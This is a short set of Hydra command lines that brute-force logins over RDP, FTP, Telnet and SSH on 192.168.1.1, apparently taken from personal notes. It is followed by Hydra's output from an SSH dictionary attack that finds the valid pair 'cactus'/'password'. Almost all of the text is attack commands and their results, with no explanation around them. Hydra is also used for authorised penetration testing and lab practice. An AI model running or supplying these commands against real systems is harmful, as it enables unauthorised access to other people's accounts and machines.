hydra -L ./user.txt -P ./pass.txt rdp://192.168.1.1 -s 3389 -f

hydra -L ./user.txt -P ./pass.txt ftp://192.168.1.1 -f

hydra -L ./user.txt -P ./pass.txt telnet://192.168.1.1 -f

hydra -l username -P /usr/share/wordlists/john.lst ssh://192.168.1.1 -s 22 -f

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-09 08:11:17
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3559 login tries (l:1/p:3559), ~223 tries per task
[DATA] attacking ssh://192.168.1.1:22/

・・・省略・・・

[ATTEMPT] target 192.168.1.1 - login "cactus" - pass "#!comment: For more wordlists, see https://www.openwall.com/wordlists/" - 13 of 3559 [child 12] (0/0)
[22][ssh] host: 192.168.1.1   misc: (null)   login: cactus   password: password
[STATUS] attack finished for 192.168.1.1 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-09 08:11:19